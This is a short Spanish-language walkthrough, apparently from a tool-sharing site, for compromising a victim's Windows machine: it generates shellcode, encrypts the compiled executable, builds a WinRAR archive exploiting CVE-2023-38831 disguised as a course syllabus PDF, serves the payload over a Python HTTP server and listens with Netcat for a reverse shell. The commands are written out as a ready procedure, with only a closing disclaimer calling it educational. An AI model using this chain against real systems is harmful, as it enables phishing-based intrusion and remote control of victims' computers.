1. Crear Shellcode

   • Usar 51721.py para generar el shellcode inicial.

2. Modificar y Compilar el Shellcode

   • Realizar las modificaciones necesarias al shellcode.
   • Compilar el código modificado.

3. Cifrar el Ejecutable

   • Usar decrypt_file.ps1 para cifrar el ejecutable compilado:
     root@kitploit:~

     .\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
     

4. Crear un Archivo WinRAR

   • Usar cve-2023-38831-exp-gen.py para crear el archivo:
     root@kitploit:~

     python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
     

5. Configurar un Servidor Python para Descarga de Archivos

   • Navegar al directorio que contiene enc_main.exe y decrypt_file.ps1.
   • Iniciar un servidor HTTP de Python:
     root@kitploit:~

     python3 -m http.server 8000
     

6. Prepararse para Escuchar el Shell TCP Inverso

   • Abrir Netcat para escuchar conexiones TCP entrantes:
     root@kitploit:~

     nc -lnvp 4444
     

7. Activar el Shell TCP Inverso

   • Cuando la víctima abra el archivo PDF, se activará la conexión TCP inversa, dándote acceso a su máquina.

Descargo de Responsabilidad

Esta información se proporciona solo con fines educativos. El uso de este exploit sin permiso explícito es ilegal y no ético. El autor no asume ninguna responsabilidad por el mal uso de esta información.